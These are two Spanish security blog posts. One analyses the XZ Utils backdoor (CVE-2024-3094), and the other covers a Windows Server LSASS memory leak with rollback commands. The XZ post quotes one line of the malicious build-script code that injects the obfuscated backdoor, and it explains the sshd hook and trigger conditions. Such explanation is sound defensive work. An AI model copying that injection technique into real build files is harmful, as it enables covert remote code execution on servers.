8 abr 2024

CVE-2024-3094 XZ Backdoor



Buenas a todos, en el artículo de hoy vamos a tratar un caso que se está discutiendo bastante en los últimos días y es la vulnerabilidad CVE-2024-3094 o como se le denomina comúnmente “backdoor en XZ”.

XZ Utils es una herramienta (open source) de compresión de datos presente en casi todas las distribuciones Linux, que sirve para comprimir formatos de archivos grandes en tamaños más pequeños y manejables para ser compartidos. Al ser un software de código abierto, es mantenido y actualizado por desarrolladores de manera liberal. 

Estas actualizaciones se añaden al proyecto mediante lo que se denominan “Pull Requests” y antes de ser admitidas, son revisadas por otros miembros del equipo que han contribuido al mismo con anterioridad a fin de evitar errores en el código fuente propuesto.

En este caso, un usuario de Github que contribuyó al proyecto de XZ, llamado Jia Tan logró obtener permisos para revisar y aceptar modificaciones de código, ganándose la confianza del resto del equipo y pudiendo aceptar sus propias contribuciones sin que estas fueran revisadas por otros miembros.

Con esta confianza depositada en su trabajo por los miembros del equipo, Jia incorporó código malicioso al proyecto de xz-utils, con la intención de hacer interferir la autenticación del servicio SSH y permitir una ejecución remota de código o RCE.

Explicación de la vulnerabilidad


explicación de la vulnerabilidad CVE-2024-3094 XZ Blackdoor


Todo nace cuando Andrés Freund, ingeniero de software en Microsoft, detecta un comportamiento inusual con el servicio sshd, el cual estaba consumiendo una alta cantidad de CPU.

Dentro del proceso de compilación de XZ, se ejecuta el script “Build-to-Host.m4”. Este script contiene la siguiente línea de código:

gl_[$1]config='sed "r\n" $gl_am_configmake | eval $gl_path_map | $gl[$1]_prefix -d 2>/dev/null'

La cual, inyecta un script obfuscado al final del script de configuración. Este script de configuracion es el responsable de crear los MakeFiles para xz-utils y liblzma.

El script tiene como objetivo principal modificar el MakeFile de liblzma en tiempo de ejecución, haciendo que el RSA_public_decrypt@....pl apunte al código malicioso de la backdoor.  

Durante el proceso de autenticación de sshd, se invoca a la función RSA_public_decrypt@....pl haciendo que se ejecute el código maliciosos del atacante al cual está apuntando. Este código es el encargado de extraer el payload de la clave pública que se le pasa durante el proceso de autenticación y la cual será sometida a una serie de pasos de verificación y controles de firma. Si pasa con éxito estas comprobaciones, se transfiere a la función system() de libc, que será la encargada de ejecutar el payload y llevar a cabo la ejecución remota de código (RCE).

El código ofuscado que se ejecuta dentro del script de configuración levanta un backdoor únicamente bajo ciertas condiciones:

1. El sistema operativo de destino debe ser Linux x86-64.

2. El proceso de compilación de XZ debe ser parte de la compilación de un paquete Debian o RPM.

3. El binario que se invoca debe estar en el path /usr/sbin/sshd

4. La variable de entorno TERM no debe estar configurada

5. Tampoco deben estarlo las variables LD_DEBUG y LD_PROFILE

6. La variable de entorno LANG debe estar seteada por defecto por sshd.

Distribuciones afectadas

  • Fedora 41 and Fedora Rawhide
  • Kali Linux actualizado entre el 26 y 29 de marzo
  • OpenSuse Tumbleweed
  • Alpine 5.6.0, 5.6.0-r0, 5.6.0-r1, 5.6.1, 5.6.1-r0 y 5.6.1-r1
  • Arch que tengan instalado las versiones de xz-utils 5.6.0 y 5.6.1

Además, para determinar si se ha instalado una versión de software de xz-utils vulnerable, se puede usar el script creado por el equipo JFrog, el cual se encuentra en el siguiente enlace.

Este checker es bastante sencillo, realiza las seis comprobaciones, que forman parte de las condiciones necesarias que hemos comentado anteriormente, para poder explotar esta vulnerabilidad. Os mostramos un ejemplo de uso:



¡Muchas gracias y hasta la próxima entrega!

Alejandro Auñón, Offensive Security Engineer at Zerolynx 
Justo Martín ,Consultor de Ciberseguridad en Zerolynx.


1 abr 2024

Problemas en Lsass dentro de Windows Server



El pasado 12 de marzo Microsoft liberó una actualización para su servicio Windows Server 2022 que está causando problemas que afectan a los controladores de dominio de este.

Muchos usuarios lo estuvieron advirtiendo en Reedit  desde ese día, los servidores se congelan y se reinician de forma inesperada debido a una fuga de memoria producida en el proceso LSASS (Servicio del subsistema de la autoridad de seguridad local).

El problema concreto según los usuarios  que lo han reportado es: “Desde la instalación de las actualizaciones de marzo (Exchange y actualizaciones periódicas de Windows Server), la mayoría de nuestros DC muestran un uso de memoria LSASS en constante aumento (hasta que mueren).”

El servicio LSASS en el proceso responsable de hacer cumplir la política de seguridad de los sistemas Windows: verifica que los usuarios inicien sesión, gestiona los cambios de contraseña y crea tokens de acceso. El uso forzado del servicio puede venir provocado por las condiciones:

  • Tiene muchas confianzas externas y muchas solicitudes de inicio de sesión simultáneos.
  • Estas solicitudes de inicio de sesión no especifican el nombre de dominio.

Esto puede desembocar en retrasos o cuelgues a la hora de realizar la autenticación en el sistema o incluso reinicios al llegar al límite de uso de memoria de este.

Este problema alarma tanto a los usuarios porque al ser un archivo crucial del sistema, a menudo es falsificado por malware. Este servicio se ejecuta desde el directorio Windows\System32, por lo que, si se ejecuta desde otro directorio, lo más probable es que se trate de un virus.

Las actualizaciones relacionadas son KB5035855 (Windows Server 2016) y KB5035857 (Windows Server 2022), sin embargo, el 20 de marzo Microsoft reconoció  que el problema afecta a todos los servidores de controladores de dominio con las últimas actualizaciones: Windows Server 2022, 2019, 2016 y 2012 R2.
Según Microsoft: “Esto se observa cuando los controladores de dominio de Active Directory locales y basados en la nube atienden solicitudes de autenticación Kerberos. Las pérdidas extremas de memoria pueden causar que LSASS falle, lo que desencadena un reinicio no programado de los controladores de dominio (DC) subyacentes”.

Remedio temporal

Microsoft a día de la redacción de este artículo aún no ha publicado una solución para este grave problema de pérdida de memoria y por el momento la solución temporal es no actualizar los servicios o volver a una actualización anterior en el caso de que hayan sido ya actualizados.

Para ello, se debe utilizar la terminal con permisos de administrador y según que actualización se haya instalado en los controladores de dominio afectados, se debe ejecutar uno de estos comandos:
  • wusa /uninstall /kb:5035855
  • wusa /uninstall /kb:5035849
  • wusa /uninstall /kb:5035857

Conclusión

Este problema con el proceso LSASS no es nuevo, ha ocurrido en varias ocasiones como, por ejemplo:
  • En noviembre de 2022, Microsoft publicaba una actualización que afectaba a los servidores , provocando que se congelasen y reiniciasen.
  • En marzo de 2022, Microsoft solucionó otro fallo de LSASS que provocaba reinicios en los DC de Windows Server.
Analizando como trabaja las soluciones de sus parches Microsoft, todo apunta a que este problema será solucionado en la siguiente actualización de abril.

Javier Muñoz, Analista de Ciberseguridad en Zerolynx.